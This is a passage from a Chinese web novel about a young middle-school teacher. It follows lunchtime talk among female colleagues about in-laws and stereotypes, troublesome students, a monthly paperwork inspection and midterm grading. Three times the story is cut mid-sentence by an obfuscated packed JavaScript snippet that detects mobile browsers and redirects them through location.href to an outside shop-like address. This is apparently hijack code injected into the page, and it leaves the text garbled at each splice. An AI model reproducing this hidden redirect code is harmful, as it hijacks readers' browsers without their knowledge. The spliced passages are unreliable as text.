有气无力的师姐&目光无神的师姐:“女性是一种处境。” 憔悴的师兄:“......” 憔悴的师兄:“教师就是社会的家庭主妇。” 有气无力的师姐&目光无神的师姐&憔悴的师兄:“唉~” 12. 教师的烦恼2 回想起师姐师兄们的谈话,肖遥忍不住打了个冷颤。 那次原本是学院的就业分享会,结果被她们生生弄成了教师行业避雷大会,搞得辅导员哭笑不得,也让肖遥越来越坚定: 她,绝不当教师。 至于现在, 唉, 再忍忍吧。 ...... 上午,肖遥有第五节课,吃上饭的时候已经到了12点30。 教师饭堂里的人已经不多了,道法赵老师朝肖遥和历史陈老师挥了挥手,她们便端着盘子过去,同座位的还有隔壁办公室的几位女教师。 肖遥打了声招呼便坐下。 “竹欣,你都病成这样了,还不请假回去吗?”道法赵老师关心地询问道。 向竹欣是707班和708班的语文老师,肖遥虽然不与她搭班,但她从同事们的交谈中知道她是个温柔且负责的老师。 肖遥也常常看到课间或放学后,向老师会把学生留下来,利用自己的时间无偿给学生辅导。 肖遥一开始还以为她是单身所以有时间,后来才知道,她有一个1岁多的孩子。 肖遥更佩服她了。 “没事,我吃了药。”语文向老师的声音带点沙哑,又带点无可奈何:“我回去了,我婆婆又会直接把孩子扔给我带,还不如在学校,还能休息会。” “你生病了还要你带孩子啊,你公公婆婆好像都退休在家了吧。”语文钱老师颇有些惊讶。 “她家里人都这样。”知道内情的年级主任马老师摇摇头。 “其实孩子生下来就是我在带,休完产假后,我回到家都是我带孩子睡觉。然后他们就理所当然的觉得就应该是我带。”想到婆家人的做法,向老师的语气开始变得委屈:“他们总觉得我在偷懒,我做什么都会找我茬。” “可能是因为我生的是个姑娘吧。”她无可奈何地叹了口气。 一阵沉默。 道法赵老师率先忿忿不平:“姑娘也是自家的娃啊。” 她家只有一个女孩,家里人都疼的很,她也没有生二胎的打算,遇到那些催生男孩的人,她都直接怼回去。 “老一辈嘛,大多都这样。”马老师稍年长些,她很清楚上一辈人的想法。 她委婉问道:“那你们有生二胎的打算吗?” 向老师默默吃了口饭:“唉,他们去年就开始催我们了,说什么凑个儿女双全。我说忙,带不过来。他们又说生下来他们带,刚好两个孩子相差不大,一起带。” 她冷笑了一声:“呵,带一个的时候说他们带不过来,带两个的时候倒是能带了。” 语文钱老师看了眼马主任,低声问道:“那你老公怎么说。” “他说看我意思。” 语文钱老师&语文马老师&道法赵老师&历史陈老师:...... 肖遥:...... 这都什么人啊。 肖遥在办公室也会听其他老师说些自家的事情,当然啦,这些事情很快其他人也会知道。 毕竟学校就这么大,老师们大多一个办公室,抬头不见低头见。 肖遥一般只听不说,被问到了就随便编一个。 因此,肖遥进来没多久便知道,这位向老师毕业后就来学校,她跟她老公是校园恋爱,从高中开始,感情一直挺好,前几年两人按部就班结婚生子。 许是提到了她一直烦恼的事情,向老师打开了话匣子:“我们谈恋爱的时候,我就知道他有两个姐姐。可是无论是他还是他妈都说他们家不重男轻女,只是他们家喜欢孩子,所以生了三个。” “甚至我怀孕的时候,他们都好好的,他妈还说要好好照顾我月子。结果我生了我家姑娘,他们态度就变了。” “先是说自己身体不好,照顾不了我。行,我找月子中心,她又嫌贵。我妈给我找了月嫂,她又诸多挑剔。” “没多久,又开始催生二胎。我现在看到她的嘴脸就觉得烦躁。” “至于我老公,以前觉得他老实、顾家,有事都和家里人商量。现在发现,他确实顾家,顾的是他自己的家。” 一口气把心里的憋屈说了出来,向老师的脸色反而没那么难看了:“算了,反正我肯定不生二胎。” 听完向老师的遭遇,大家都感到很唏嘘。 从同学变成恋人,再到夫妻,很多人都很羡慕。 只是谁曾想,这背后还有不为人知的问题。 历史陈老师性子直,直接开口道:“既然你老公说了看你意思,那就让他直接跟他家里人说不生呗。” 向老师摇了摇头:“没用的。他嘴巴上说看我意思,实际上每次看到他堂侄子都开心得不得了,然后他妈就开始哀声叹气了。” 马老师倒是颇为理解:“我们两家的婆家都是同一个地方的,那地方的人都很传统,都喜欢生几个孩子。”她自嘲道:“我结婚得早,被我公公婆婆劝了又劝,稀里糊涂就生了两个娃。” 看到两人同样的遭遇,道法赵老师想起了一个人。 “我记得沈姗姗是不是就因为她婆家,所以上学期辞职了?” 向老师:“对,她和我同年进来的,比我大几岁,她三年抱两,也是姐姐和弟弟,不过她确实喜欢小孩。” 马老师:“她老公是做生意的,赚了不少钱,生了孩子后,觉得姗姗工作太忙,所以劝她辞职回家带孩子。” 想到自己的职场“初代同事”,向老师颇有些感慨:“姗姗不想辞职,干得好好的,谁想回家做家庭主妇。但是她老公总跟她因为这件事吵架,她孩子又粘着她,她实在舍不得,所以就在家附近找了个公办临聘的工作。” “她假期还跟我聊天,觉得有些后悔辞职了,没清闲多少,但是工资少了一大半。” 语文钱老师皱眉:“我们区公办临聘钱都挺少的,而且不想要人了,下一年就不续签了。” 马老师:“没办法,民办学校压力都挺大的,而且离她家近的只有公办学校。欸,她可以考编啊。” 向老师:“她想考来着,只是孩子还小,她公婆又不帮她带。她每天上下班都得去幼儿园接送小孩,晚上也没时间备考。” 道法赵老师:“那过几年,年龄超了可就考不了了。” 向老师轻轻地叹了口气:“是啊。” 许是被这样的气氛影响,历史陈老师看向肖遥,咕哝了一声:“还是单身好,结婚太可怕了。” 同为单身的肖遥猛点头,表示赞同。 其余几位已婚的老师听到这话,都忍不住笑出声了,一扫之前的低沉。 语文向老师:“其实单身挺好的,自己一个人没那么多烦恼。” 语文钱老师:“我觉得结婚还好,就是生小孩要谨慎,我看身边的人生完后,就真的完全没有自己的时间了。” 道法赵老师:“反正你们还小,不着急。” 语文马老师:“不过可以谈谈恋爱,有合适的人就可以进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239887|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步发展。” 历史陈老师扯了扯嘴角:“唉,我觉得现在正常人太少了,很难遇到合适的人。” 肖遥:“+1” 历史陈老师:“我假期的时候,我妈给我安排了个相亲。好家伙,对方知道我是老师,一见面就开始安排着我的未来了。” 肖遥深表理解:“老师工作稳定,平时赚钱养家,周末寒暑假就可以在家带孩子学习,省了不知道多少钱,说出去还好听。” 历史陈老师摊摊手:“反正就是让我当‘贤妻良母’嘛。” 向老师:“唉,我妈当初也是这么说的,让我读个师范,以后就当个老师,轻轻松松的,还说以后好找老公。” 钱老师:“是吗?现在不一样了吧。我侄女前段时间去相亲,对方一听到我侄女是老师就不想见面了。” 马老师疑惑:“为什么?” 钱老师嗤了一声,掰着手指数:“说我们女老师姿态高,难相处,爱攀比,爱说教。” 肖遥想起了之前刷到的评论:“还会说我们跟社会脱节,说我们没情商,不圆滑。” 历史陈老师连忙点点头:“对对对,我大学同学去参加联谊,被加了微信,聊了几句后觉得合不来就没再继续了。结果对方背后居然跟其他人吐槽我同学毛病多。” “我看他所谓的毛病多,就是女方没看上他,觉得没面子,所以找女方的理由。” 马老师皱眉不解:“这些都是个人的性格啊,每个群体都有自己的负面典型啊,怎么能以偏概全呢?这都是刻板印象。” 肖遥暗暗点头。 虽然她不喜欢当教师,但是也不能忍受这些流言蜚语。 钱老师:“那些人可不这么觉得,我在遇见我老公之前,也相亲过。我一跟他们吵架就动不动拿我是老师说事,明明是他们说话离谱,我反驳了,他们就说我上纲上线,开不起玩笑。” “我有钱有房有稳定的工作,看不上学历比我低、条件没我好的不是很正常?我总不能去扶贫吧?我可不是扶贫办的。” 肖遥:“还说我们爱说教,让我们上课是要付钱的。再说了,那些男人不更爱说教?一到了年纪就自动解锁历史学、社会学、哲学、政治学博士学位。” 陈老师:“对对对,你都不知道,我出去玩交个朋友,知道我是学历史的,直接来一句‘我来考考你’,我考他大爷!” “刷了几个短视频,看了几本野史,就显得自己多懂历史,还说历史是任人打扮的小姑娘。我去他大爷的,历史还是任人抱养的小男孩呢!!” “哈哈哈哈哈哈哈哈哈哈哈哈会会哈哈哈” 最近吃到瓜的肖遥和钱老师禁不住哈哈大笑。 不懂梗的向老师、赵老师和马老师也忍不住笑了。 马老师:“我去过这么多个学校,有公办的,有民办的,攀比的情况很少啊,大家是会聊到家庭、事业这些,但是其他行业就不聊了吗?再说了,就现在这种教育情况,有钱人谁还来当老师。” 赵老师:“就是,他们觉得我们在学校,就以为我们不懂得社交。要知道我们老师,尤其是班主任要接触形形色色的家长啊,没点情商怎么处理班级、师生、家校关系?就算没情商也会被磨练出来。” 向老师:“反正,这些人就是喜欢臆想我们,可能贬低我们能让他们获得满足感吧。” 肖遥&陈老师:“真可怜啊。” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。” 13. 幸好不是班主任 假期后的工作周长达七天。 不知道是不是因为假期综合症,肖遥觉得这七天简直是度日如年。 她划掉日历上的数字,距离周末还有五天,也就是说明天才是周一。 肖遥烦躁地挠挠头发。 以前上大学的时候,肖遥很喜欢调休,因为课不多,调休了她就有更多时间出去玩了。 可自从上班后,她就无比讨厌调休。 连续的上班消耗完了她的精力,她迫切需要周末来回血。 肖遥也不理解,怎么未来社会这个破调休还在呢?就不能真真正正地给我们放点假吗? 唉。 她重新把头发扎好,又投入到备课中。 ...... 依旧是702班的课,肖遥如同平常一般上课。 她瞥向她的“心腹大患”,那个所谓的停学回家实际上也就停了一天。 前天邓昊杰就已回校,到今天为止,肖遥并未听说他犯了什么事。 包括今天上课,他也很安静,既没有突然站起来扔垃圾,也没有喋喋不休地说话。 很反常,反常得让人觉得他又在酝酿什么幺蛾子。 肖遥看了一眼便不再管他,继续指引学生完成练习。 “老师!” 来了! 熟悉的声音响起,肖遥心中警铃大响。 “怎么了?” “老师,我要去荡秋千。”邓昊杰举着手朝肖遥大喊。 “上课呢,荡什么秋千。” 肖遥目露凶光,瞪了他一眼。 “好吧,那我下课去荡秋千。” 说完这句话,邓昊杰又立刻坐下低头看他的笔盒。 真是莫名其妙。 肖遥平复心中的怒气,继续上完这节课。 下课铃响,肖遥立刻把邓昊杰拎到了办公室。 “你刚刚上课又在发什么疯!” “老师,我就是想荡秋千。” 邓昊杰理直气壮地回道。 “上课呢,你荡什么秋千啊,再说了,我们学校有秋千吗?” “有啊,宿舍有,家里也有。” 肖遥:“......” 肖遥没眼看他,直接安排惩罚:“十个上下蹲,蹲完再回去。” 邓昊杰拉长了声音,回了一句“哦”,便熟练地做了十个上下蹲,显然平时没少蹲。 等他做完后,肖遥把他赶了回去。 第二节上课没多久,就在肖遥在办公室备课的时候,外面传来了吵闹的声音。 肖遥静静听了会,是702班方向。 她还听到了熟悉的声音,是702班的班主任孙老师的声音。 她记得702班第二节课是1班班主任李老师的英语课啊。 孙老师此刻的声音很尖锐,肖遥隐隐感觉到她在爆炸的边缘。 她立刻出门了解情况,正好看到孙老师拉着邓昊杰进去了隔壁办公室,肖遥便在门口听了会墙角。 “...你要跳楼你就回家跳,你妈说了,随便你跳。” 孙老师怒气冲天,邓昊杰则梗着脖子向孙老师吼道:“cnm,我现在就跳。” 嘴上说要跳,可邓昊杰仍直硬硬地站在原地。 肖遥明白了,他在这里虚张声势呢。 孙老师:“你第一次带手机来的时候,我就跟你说了,不能带,不能带。结果你还带,还看黄片,被宿管发现了,你第二天还要去威胁6班的学生。邓昊杰,你厉害了啊。” 邓昊杰依旧嘴硬:“是黄浩南说的,我跟着去而已。” 孙老师:“你就说你有没有说了让她放学等着的话。” 邓昊杰:“......” 孙老师看着邓昊杰逐渐变红的脸,继续指着他骂道:“我跟你妈说了,学校让你回家反省。结果你回去就跟你妈吵架,还嚷嚷着要跳楼自杀,有没有这事。” 邓昊杰:“......” 孙老师:“你回来学校这几天,还不安分。就因为杨山河不小心碰掉你的毛巾,你就踢人家,把人家的衣服全扔地上,你就说你有没有。” 邓昊杰大吼:“是他先弄到我的,道歉了又怎么样,你们就是针对我,我不上学了。” 孙老师深吸了一口气,尽量平缓自己的怒火:“你不要在那里自作多情,我没那么空闲去针对某一个学生。” “今天早上,杨山河不小心碰掉你的毛巾,就立刻跟你道歉,还说要帮你洗干净,你同宿舍的其他同学都看到了。这个事情你不能否认吧?” 看到邓昊杰的沉默,孙老师继续道:“是你不接受杨山河的道歉,踢了人家一脚,还把人家干净的衣服扔地上,你觉得你自己做得对吗?” 邓昊杰继续沉默。 “就这么小的一件事,还是同班同宿舍的同学,你有必要这样做吗?啊?” “而且杨山河都没说什么,自己把衣服收起来了。结果你下课了还去威胁人家杨山河!” 孙老师的声音逐渐变大,她真是受够了这个每天搞事情的颠公:“你还在那里嚷嚷着荡秋千,荡秋千。来,我给你拿条绳,你荡给我看。” 肖遥恍然大悟。 哦,原来荡秋千指的是上吊。 这些学生都是从哪里学来的词啊。 见邓昊杰继续沉默,孙老师气上心头。 她直接上手,佯作要拖着他去阳台:“来,你要跳楼是不是,我跟你一起跳,一起去死得了,省得我天天给你擦屁股。” 到了这个时候,邓昊杰才有反应,他哭着拒绝过去。 “还跳不跳了!” 邓昊杰哭着摇摇头,愣是不说一个字。 见他如此,孙老师又深吸了几口气,逐渐把情绪平复下来。 她拿出手机,点开了邓昊杰的电话:“我要跟你妈说这个事情。” “喂,是昊杰妈妈吗?我是昊杰的班主任孙老师......” 肖遥没再继续听下去。 她之前跟孙老师告状的时候,就听孙老师吐槽过邓昊杰,这个颠公一天一小颠,两天一大颠。 孙老师跟他父母反映过他的情况,他爸是完全不接老师电话的。 至于妈妈,她总跟孙老师诉苦自己忙,没时间管孩子,也管不好孩子,所以总说让孙老师帮忙管教。 让家长过来学校,也是叫5次才来1次。 也因此,邓昊杰有恃无恐,好一阵,颠一阵。 别看他哭得这么伤心,转头他就能抹干眼泪继续疯。 唉, 肖遥不明白,为什么这些家长总是这样养而不教呢? 能出得起几万块的学费,却能忙到连到学校一趟的时间都没有吗? 这些家长是真的爱孩子吗? 肖遥唏嘘不已。 她摸了摸自己的胸口,难怪都说乳腺结节是教师职业病。 每天上演这么一场,谁能神经不紧张,情绪波动不大。 肖遥坐下没多久,703班的班主任钱老师就带着一个女生进来了。 肖遥有点印象,是703班的刘安倩。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239888|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是喜欢707班郑尚勤,并试图教训7010班黎千千的那个女生。 “肖老师,旁边办公室有学生,我借你们办公室处理件事。” “好,没问题。” 钱老师语气颇为严厉:“把你头发给我扎起来,每天披头散发的像什么样子?” 刘安倩一脸不情愿地照做,又继续低下头。 钱老师拿出手里的梳子和镜子,质问道:“你每天有在认真上课吗?你不是在聊天,就是在照镜子、梳头发。你告诉我,有什么好照的,有什么好梳的?” 刘安倩小声回道:“老师,我没有。” 钱老师:“我刚刚巡班的时候都看到了。而且地理老师也说了,上课15分钟,你就梳了3次头发,照了6次镜子。” 刘安倩:“......” 又是沉默。 钱老师脸色铁青:“你这两天把古诗词那一课给我抄100遍。” 刘安倩立刻抬头认错:“老师,我不敢了。” 但显然钱老师不吃她这一套:“你上次也是这么说的,我后天要是看不到你的罚抄,我就加倍。还抄不完的话,周五你也别回去了,留在学校抄,抄完再让你妈来接你。” 自知班主任性格的刘安倩只能默默点头。 看见她配合的态度,钱老师的脸色这才缓和过来。 接着,她又眼神锐利地看向刘安倩,厉声问道:“你跟707班的郑尚勤是不是还在一起。” 肖遥:??? 哟,还有后续啊。 肖遥忍不住望向这对师生。 她看见刘安倩的瞳孔放大,似乎对班主任的问题感到震惊。 “没有,我们分手了。” 她立刻否认。 钱老师挑眉,语气很有把握:“有人看见你们昨晚下课后在初二那层的楼梯间。” “......” “不说话那就是默认了?也就是说你们昨晚聚在一起抽烟了?” “老师,我没有。” “需要我去查监控吗?” “......” 看这情况,钱老师心里明白了。 “你妈知道你谈恋爱了,觉得无所谓。既然家长觉得没问题,只要你们不做出格的事情,我作为班主任,就不会管你们。但是,你们不能在学校做出吸烟这种违反校规的行为。” 她继续询问:“烟是你带来的吗?” 刘安倩摇摇头。 “你抽了多少。” 等了一会,肖遥才听见女生弱弱的声音:“1根” “行,你回去上课吧。我会联系你妈。” 等刘安倩离开办公室后,钱老师才对着肖遥无奈地摇摇头。 肖遥:“她居然跟郑尚勤谈恋爱了?” 钱老师:“是啊,回校那晚我发现的。我跟707班的班主任葛老师分别问清楚了情况后,就跟两方的家长进行沟通。” “郑尚勤他爸你是知道的,他直接不管,毕竟孩子打架他都觉得无所谓,更何况谈恋爱?” “谁曾想刘安倩她妈也不管,还以一种很包容的态度说,初中生谈谈恋爱很正常,没做出格的事情就好了。愣是不管她女儿现在的学习状态有多差,你看,现在还吸烟了。” 钱老师一脸烦躁地拿出手机,给肖遥看了看界面:“我要找她妈过来学校一趟,我还特地把刚刚的对话录音了,就怕刘安倩见到她妈后不承认。” 目送钱老师离开办公室后,肖遥不禁感叹:“太难了。” 幸好她不是班主任。 14. 常规检查 但即使不是班主任,作为一名普通的科任老师,事情也不会少。 肖遥每天的日常就是备课、上课、改作业、改试卷,偶尔还得跟学生斗智斗勇,应付某些家长的无理取闹,还要忍受无良领导的pua。 每天眼一睁,她就觉得自己好像陷入了可怕的循环,重复着相同的动作。 而这样的认知来自于某天肖遥和同事的对话。 她发现自己和同事每天的聊天内容不是在吐槽学生,就是在吐槽家长、领导。 肖遥觉得,她好像成了祥林嫂。 太苦了! 唉! 肖遥叹了口气,她为自己悲催的人生进行了一番感慨后,又开始了忙碌的工作。 今天是周四,又到了一月一度的教师常规检查。 早上组内教研的时候,科组长就提醒她们要赶紧准备好材料,下午放学后会统一进行检查。 肖遥数了数自己的教案数量,15篇,符合。 二次备课痕迹,有了。 教学反思,写了。 听课笔记,10篇,够了。 课外辅导登记表,勉强写够了,相应的辅导试卷也有了。 作业批改,刚收上来的班还未改,肖遥赶紧批改,写上等级和日期。 学生练习册,5个班,160本,只交了142本。 学生试卷,只收上来138张。 啧。 肖遥边数边烦躁,又没交齐,每个班都有人没交。 她就不明白了,收个作业怎么就收不齐呢?还是提前了一天说要收的。 看着作业登记表上的未交名单,肖遥让人把5个班的科代表都喊来了。 “这些人为什么还没交作业?” 其中一个科代表委屈地说道:“老师,我催了好几次了,他们都说在找着。” 另外几人也附和道:“对啊,有的说忘在家里了,有的说没写完。” “还有的说不见了。” 肖遥:...... “那试卷呢,我们这周才评讲完的,也不见了?” 科代表们纷纷点头。 又是这些借口,她听都听烦了。 肖遥摆摆手,示意她们不用说了。 “你们回去告诉那些作业没交的同学,上午放学前还没交上来的,放学后不用去吃饭了。谁说弄丢了或者忘在家里的,我直接给他们新的练习册,我们写到哪一课就补到哪一课。” “试卷找不到的没关系,”肖遥指了指置物架上的空白试卷,“再过来我办公室拿一张重写一遍。” “好的,老师。” 这句话的效果显然很好,第四节下课,肖遥就收齐了剩余的练习册和试卷。 虽然有的试卷皱皱巴巴的,有的带有脚印,还有的甚至撕开了一半,被主人用透明胶带粘住。 但肖遥想, 还不如不交呢。 她把这些乱七八糟的试卷扔在了一边,有的试卷上面甚至只歪歪斜斜地用红笔订正了几个字。 还有练习册。 肖遥翻了几本。 有的卧龙凤雏随便写了ABCD交上来,大题是一个字不写的,或者随便写几个字就交上来。 还有的卧龙凤雏不知道怎么订正的答案,选择题倒是订对了。大题的答案也没问题,可惜,他看错了题号,把上下两道题的答案抄反了。 肖遥把这些有问题的练习册和试卷挑了出来。 下午,她要先狠狠罚这些人。 ...... 下午课间的办公室。 一排共六个学生正站在放作业的长桌子前,纷纷低头写字。 肖遥站在一旁,一边督促一边训斥。 “你说说你们,写个作业就这么困难吗?我的道法课一周才三节,作业量也就那么点,你们还不写?” 一个高高胖胖的男生佯装委屈地看向肖遥道:“老师,大题好难写哦,我不会写。” 肖遥瞪了回去:“不会写就不会问同学,问我吗?” “哦~”男生撇了撇嘴,拉长了声音回道。 “老师,我来找你,你不在办公室。”另一个高高瘦瘦的男生则振振有词。 肖遥单手叉着腰回问:“你说,你哪天来找的我?我除了上课,课间都在办公室。” 听到肖遥的质问,高高瘦瘦的男生“嘻嘻嘻”地笑了下,回了句“我不记得了”。 肖遥又指了指中间的男生,“你呢?” 这个身高还不到肖遥肩膀的学生,一脸无辜地看着肖遥:“老师,我忘记写了。” “忘了?科代表催了你好几次了,你都忘了?” “......” 还没轮到肖遥发问,另一个男生抢先回答:“老师,我的忘在了家里。” 看着他敦厚的脸庞,肖遥冷笑了一声:“忘了?你知道你上次也是用这个借口的吗?每周的道法作业你不是忘家里了,就是落宿舍了。” 此时,正拿着杯子准备出去打水的七年级历史邹老师经过门口,她和肖遥都教七年级1-5班。 看到这几个熟悉的学生,她停了停脚步,皮笑肉不笑道:“又是你们几个啊。” 她看向肖遥无语道:“早上他们几个也没交历史作业,还是我去班里催的。” 说完,她伸手拧了拧面前的男生的耳朵:“又忘家里了是吧?道法作业忘了,历史作业忘了,你怎么不把自己忘在家里?” “老师,我错了。”被戳破的学生毫无悔意,只是笑嘻嘻地大叫着。 邹老师一脸“我没眼看”的样子离开了。 肖遥则将课本卷成圆柱,拍了拍他的肩膀,厉声道:“我现在是让你订正试卷。这个试卷我上课的时候一边讲一边让你们对答案,为什么不抄全?” “老师,我近视,看不见。” “你是今天才近视的吗?你不会回去配眼镜?你当时看不见不会出声吗?不会抄同桌的吗?” “......” 听到这些借口,肖遥都快要气得吐血。 这些学生年纪小小,还挺会找理由,每次不写作业的理由都五花八门的。 “你呢?你又是什么理由?”肖遥憋着气看向最后一个学生,这是重点班的一个女生,成绩不错,在肖遥的道法课上还是比较认真的,只是她也常常不交作业。 “老师,其他科作业太多了。”面前的小心翼翼回道,“我晚自习写完语数英三科就没时间写别的作业了。” “那你历史作业写了吗?” 女生点点头。 “生物、地理作业写了吗?” 女生再次点点头。 “所以是没时间写道法作业?” 面前的女生低下头不敢看肖遥。 肖遥继续问道:“你们班的道法课是前天下午,到现在都快两天了。你前晚晚自习没时间写,昨天也没时间写吗?” 女生:“......” 女生吞吞吐吐地回了一句:“老师,我错了。” 肖遥叹了口气,没再继续质问她。 她看向这六个学生,扬声道:“等会上课了就回去班里,没写完的下课继续来写。还有,回去给我罚抄课本2遍,明天下午放学前给我。” “啊~” “老师,不要啊。” “老师,我不敢了。” 面对此起彼伏的鬼哭狼嚎,肖遥没理会:“抄不完的,放学别走。下次还不交作业,加倍抄。” “啊~~~” ...... 周五上午,道法赵老师拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239889|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考核表来找肖遥。 肖遥歪头看了看分数, 得,又被扣分了。 还比上个月多扣了。 道法赵老师也是一脸的无可奈何:“我们组这次常规材料是教务处蒋主任亲自检查的,检查得很细致。我们组除了我和杨老师,都被扣了分。” 肖遥上个月的常规检查也被扣了分,她倒无所谓,也就扣点钱而已。 只是,组员被扣分了,科组长都会被蒋主任说上几句。 肖遥只能苦笑道:“这次又被扣了哪里?” 道法赵老师指了指被扣的地方: 1、教学反思被扣了2分,原因:字数不够,反思不够深刻。 2、作业批改被扣了6分,原因:作业上交数量不齐,没有订正。 3、课堂表现被扣了20分,原因:上课有学生趴桌子。 4、课外辅导被扣了3分,原因:没有写明日期,没有体现优生和困难生的区别辅导。 肖遥:...... 一共31分,一分5块钱,一共扣了155块。 155块,也不多,当她送给学校了。 但肖遥还是要为自己辩驳一下。 “赵老师,我的教学反思哪里不够深刻了?” 道法赵老师欲言又止:“蒋主任说了,教学反思要体现这节课的优点、不足之处和如何改正,起码得写300字。这次就只扣了2分,当作提醒。下次格式不对、字数不够就一次扣5分。” 肖遥:...... 行。 “作业订正这个,班级进度不一,所以有的班订正了,有的班没有。” 道法赵老师叹了口气:“我跟他说了,他非说是我们教学计划不明确。” 肖遥:...... 行。 “学生趴着桌子,哪次上课啊?” “他没说,他只说他看见了。” 肖遥:...... “那这个课外辅导没有体现优生和困难生的区别,哪里没体现了?。” 道法赵老师伸手按了按眉心,摇了摇头,语气颇为无语:“他说题目太单一了,都是选择题。” 肖遥:...... 肖遥忍不住诉苦:“可是题目难度不一样啊,成绩差的学生就做基础的,成绩好一些的就做有难度的。我们道法题目本来就不好找,这还是我自己花钱在网上找的,还花时间进行筛选和删减。” 道法赵老师:“我也是这么跟他说的,可他还是坚持自己的看法。” 肖遥:...... 肖遥默默摸了摸自己的脑袋,脑阔疼。 “那赵老师你这边是怎么区分辅导的?” 道法赵老师:“我是刚好之前认识的书商给了我两本练习册,有选择题有材料题,我就切割开来分给了几个优生写。” 肖遥长叹了一口气:“那我以后还得准备大题。” 又增加了工作量。 道法赵老师也没办法,毕竟按照现在减负的规定,除了教育局发的练习册,学校都不能再购买其他练习册。 当然,这条规定也就公办学校会遵守,民办学校会私下偷偷购买,但也就买语数英三门主科的练习册,毕竟分值重。 像历史、道法、物理、化学这些科目,一般还是使用教育局的练习册,或者学校老师自己出试卷。 想到此,道法赵老师捂着嘴悄声道:“我们很难自己出题目,你可以直接上学科网下载合适的题目。或者你不在意这点钱的话,也不用管蒋主任,他就是喜欢到处对着人说教几句,下次也不会是他检查我们组了。” 肖遥:哦? 肖遥心领神会地点点头,伸手比了个OK。 上有政策,下有对策。 她懂。 15. 期中考试 面对猪一样的学生,肖遥忍了。 面对事儿精的家长,肖遥忍了。 面对大鲨臂的领导,肖遥忍了。 终于, 她熬到了期中考试。 肖遥划掉日历上的周日,忍不住泪流满面。 考完期中,就等于学期过半,就等于还有半学期她就解放了。 一想到这件事,肖遥的嘴角就弯不下来。 哪怕今天是周一要早起升旗,哪怕校长又继续着他无聊的废话。 肖遥还是很开心,尤其是这周是复习周,不用讲新课。 周三周四周五考试,而周一周二只需给学生进行复习,内容老师自行安排。 肖遥直接从学科网上下载了默写试卷,让学生在课上进行知识点的默写。 默完,肖遥展示答案,学生自行订正。 毕竟该复习的内容上周都已复习过,考前让这群不靠谱的家伙多抄抄写写,说不定吵多了,加深了印象,考试的时候还能写出点东西来。 ...... 道法和历史合考,时间就在考试第一天下午。 考完就该是改卷了。 这一次是区统考,因此改卷是线上改卷,由区教育局提供改卷网址和分配改卷题目和份数。 听完教研员组织的改卷会议后,肖遥登上了自己的账号。 嗯, 她改27题的第2问,份数是 肖遥:??? 2300份!!! “怎么改这么多啊!”肖遥忍不住嗷叫。 历史陈老师抬起头,她也进了改卷网站,同样是生无可恋:“我改2400,你改多少?” “2300。” 历史陈老师:“啊啊啊啊啊我比去年多改了300份!!!” 肖遥:“今年七年级的新生这么多的吗?” “不是都说新生儿人数减少了吗?” 历史陈老师:“A市是大城市,外来人口多,不缺学生。” “唉~” 肖遥:“你们教研员有说什么时候改完吗?” 历史陈老师:“明天早上8点正式改卷,后天要改完。” 肖遥看向日历,那就是周末前改完。虽然她后面还有监考,但加加班也能改完。 这样就不会占用她的假期时间了。 肖遥是这样安慰自己的。 可是, 可是, 试卷真的太多了!!! 虽然肖遥只改一个小问,可是道法一个问的答案就很多。 她得看学生的答案有没有结合材料,有没有运用知识点,还得尽量给分。 因为教研员说了,这次考试难度比较大,所以让改卷老师尽量给分,这样分数出来不至于那么难看。 肖遥内心在咆哮。 要想分数不难看,那你就别出那么难的题目啊!!! 本来道法考试就难,连教研员自己都说了,历来中考考试科目中,道法的均分都是最低的。 那为什么还要出这么难的题目? 你们是为难学生还是为难我们老师啊。 唉! 咆哮完,肖遥还得继续改卷。 听到肖遥连绵不断的哀叹,旁边的历史陈老师也是痛苦不已。 “我还有1540份。” “我还有1500份。” 两人:“唉~” 听到两人凄惨的哀嚎声,美术何老师朝她们方向投喂了两颗果冻和肉干。 她结束了上一门科目的监考,正一边玩手机一边吃果冻,还不忘鼓励两人:“加油,再接再厉。” 看到美术何老师的悠闲,肖遥无比的羡慕。 她腾出一只手咬开了肉干的包装袋,含糊不清道:“还是你们科组好,不用改作业也不用改卷。” 音、体、美、信息,属于是副科中的副科了,不用改作业,不用改卷,也没有考试压力。因此各校的音体美信息科组老师的流动率是最低的,而流动率最高的当属语数英主科。 美术何老师叹了口气:“我们是不用做这些,可是我们包揽了学校的各种杂事。” 听到肖遥的话,音乐王老师也忍不住为自己正名:“我们不仅要在校内监考,还要外出去其他学校监考,监考费还要被上面的领导一层层剥削。” 美术何老师:“我们还有各种竞赛的压力,比如我,有时候还得自己上阵去画画。” 